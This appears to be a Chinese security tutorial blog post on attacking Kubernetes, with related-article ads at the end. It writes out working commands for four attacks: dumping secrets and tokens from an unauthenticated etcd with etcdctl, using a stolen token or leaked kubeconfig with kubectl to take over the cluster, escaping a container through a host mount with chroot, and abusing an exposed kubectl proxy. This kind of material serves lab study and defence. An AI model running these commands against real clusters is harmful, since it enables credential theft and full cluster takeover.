云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

简介: 云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

云原生-K8s安全-etcd未授权访问

如上图所示:etcd服务是运行在master节点上的,master节点上查看该服务默认通过证书认证,主要存放节点的数据,如一些token和证书。

当然,初始安全情况下,该服务是安全的(2379不对外开放,本地可访问),下面三种主要是配置问题


三种攻击2379端口方式

配置文件:/etc/kubernetes/manifests/etcd.yaml

注释掉或者改为false,重启k8s服务

systemctl restart kubelet.service

V2版本利用:

直接访问http://ip:2379/v2/keys/?recursive=true ,

可以看到所有的key-value值。(secrets token)

如图表示对方api版本是V3版本,目前V2版本已经很少见了

使用etcd-v3.4.27工具进行连接利用


第一种:没有配置指定–client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。

-暴露外部可以访问,直接未授权访问获取secrets和token利用

b44c66ab1721ad980b5d8df9ccd7d372_fba2da27ccf44534ab81c7a386eace14.png

直接使用工具进行连接报错,因为从上方web访问可以看出是需要https证书

复现搭建:

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

安装etcdctl:

https://github.com/etcd-io/etcd/releases

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

8c7360490c28d1aedf41c662086c4b20_1c53c6d5515c4fb9a7c8cce121c8d8d6.png

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert进行认证访问,一般配合ssrf或其他利用,较为鸡肋。

-只能本地访问,直接未授权访问获取secrets和token利用


第三种:实战中在安装k8s默认的配置2379只会监听本地,如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。

-只能本地访问,利用ssrf或其他进行获取secrets和token利用


*复现利用:

*暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

*SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

*V2/V3版本利用参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html


利用参考:

https://www.wangan.com/p/7fy7f81f02d9563a

https://www.cnblogs.com/qtzd/p/k8s_etcd.html


V3版本利用:

1、连接提交测试


./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 “Hello world1”

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 “Hello world2”

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 “Hello world3”


2、获取k8s的secrets:


./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/


3、读取service account token:


./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z


4、通过token访问API-Server,获取集群的权限:


kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“ey…” -n kube-system get pods


云原生-K8s安全-Dashboard未授权访问


默认端口:8001

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。


*复现利用:

*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard

*Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装:https://blog.csdn.net/justlpf/article/details/130718774

2、启动:kubectl create -f recommended.yaml

3、卸载:kubectl delete -f recommended.yaml

4、查看:kubectl get pod,svc -n kubernetes-dashboard

5、利用:新增Pod后续同前面利用一致

搭建环境太麻烦了


正常情况下Dashboard如图:

有漏洞的情况下:(没搭建出来……)

点击跳过直接进入控制面板

利用流程:找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

云原生-K8s安全-Configfile鉴权文件泄漏


攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:

-如果提供了–kubeconfig参数,就使用提供的kubeconfig文件

-如果没有提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件

-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config


*复现利用:

*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

安装:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接:kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config 
cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建:

云原生-K8s安全-Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
环境搭建:

kubectl --insec

*复现利用:

*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。

*找到暴露入口点,根据类型选择合适方案

kubectl -s http://10.10.10.167:8009 get pods -n kube-system

相关实践学习
深入解析Docker容器化技术
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。Docker是世界领先的软件容器平台。开发人员利用Docker可以消除协作编码时“在我的机器上可正常工作”的问题。运维人员利用Docker可以在隔离容器中并行运行和管理应用,获得更好的计算密度。企业利用Docker可以构建敏捷的软件交付管道,以更快的速度、更高的安全性和可靠的信誉为Linux和Windows Server应用发布新功能。 在本套课程中,我们将全面的讲解Docker技术栈,从环境安装到容器、镜像操作以及生产环境如何部署开发的微服务应用。本课程由黑马程序员提供。     相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
弹性计算 人工智能 Serverless
阿里云ACK One:注册集群云上节点池(CPU/GPU)自动弹性伸缩,助力企业业务高效扩展
在当今数字化时代,企业业务的快速增长对IT基础设施提出了更高要求。然而,传统IDC数据中心却在业务存在扩容慢、缩容难等问题。为此,阿里云推出ACK One注册集群架构,通过云上节点池(CPU/GPU)自动弹性伸缩等特性,为企业带来全新突破。
|
弹性计算 Kubernetes 数据处理
KubeRay on ACK:更高效、更安全
阿里云 ACK 以托管组件化的方式给客户提供快速搭建Ray集群的能力,并通过结合使用阿里云的调度,存储,日志与监控,给用户提供更佳使用体验。
|
存储 监控 对象存储
ACK 容器监控存储全面更新:让您的应用运行更稳定、更透明
针对本地存储和 PVC 这两种容器存储使用方式,我们对 ACK 的容器存储监控功能进行了全新升级。此次更新完善了对集群中不同存储类型的监控能力,不仅对之前已有的监控大盘进行了优化,还针对不同的云存储类型,上线了全新的监控大盘,确保用户能够更好地理解和管理容器业务应用的存储资源。
703 265
|
11月前
|
存储 监控 对象存储
ACK 容器监控存储全面更新:让您的应用运行更稳定、更透明
ACK 容器监控存储全面更新:让您的应用运行更稳定、更透明
334 0
ACK 容器监控存储全面更新:让您的应用运行更稳定、更透明
|
12月前
|
存储 监控 对象存储
ACK 容器监控存储全面更新:让您的应用运行更稳定、更透明
ACK 容器监控存储全面更新:让您的应用运行更稳定、更透明
259 1
|
12月前
|
弹性计算 人工智能 资源调度
DeepSeek大解读系列公开课上新!阿里云专家主讲云上智能算力、Kubernetes容器服务、DeepSeek私有化部署
智猩猩「DeepSeek大解读」系列公开课第三期即将开讲,聚焦阿里云弹性计算助力大模型训练与部署。三位专家将分别讲解智能算力支撑、Kubernetes容器服务在AI场景的应用实践、以及DeepSeek一键部署和多渠道应用集成,分享云计算如何赋能大模型发展。欲观看直播,可关注【智猩猩GenAI视频号】预约。 (239字符)
|
存储 监控 对象存储
ACK容器监控存储全面更新:让您的应用运行更稳定、更透明
介绍升级之后的ACK容器监控体系,包括各大盘界面展示和概要介绍。
|
11月前
|
存储 运维 Kubernetes
容器数据保护:基于容器服务 Kubernetes 版(ACK)备份中心实现K8s存储卷一键备份与恢复
阿里云ACK备份中心提供一站式容器化业务灾备及迁移方案,减少数据丢失风险,确保业务稳定运行。
|
存储 Kubernetes 安全
k8s存储类型:emptyDir、hostPath、nfs、pvc及存储类storageclass的静态/动态创建pv
Kubernetes提供了多种存储类型,满足不同的应用需求。`emptyDir`和 `hostPath`适用于临时和宿主机存储需求,`nfs`适用于共享存储,`PersistentVolumeClaim`和 `StorageClass`实现了持久存储的灵活管理。通过理解和配置这些存储类型,可以有效提升Kubernetes集群的存储管理能力。
647 13
|
弹性计算 调度 数据中心
阿里云 ACK One 注册集群云上弹性:扩展业务新利器
随着企业数字化转型深入,传统IDC数据中心因物理容量限制,难以实现动态扩容,缺乏弹性能力。阿里云ACK One注册集群凭借其高度灵活性和丰富资源选择,成为解决此问题的最佳方案。通过与阿里云资源的整合,ACK One不仅实现了计算资源的按需扩展,提高了资源利用率,还通过按需付费模式降低了成本,使企业能够更高效地应对业务增长和高峰需求。

热门文章

最新文章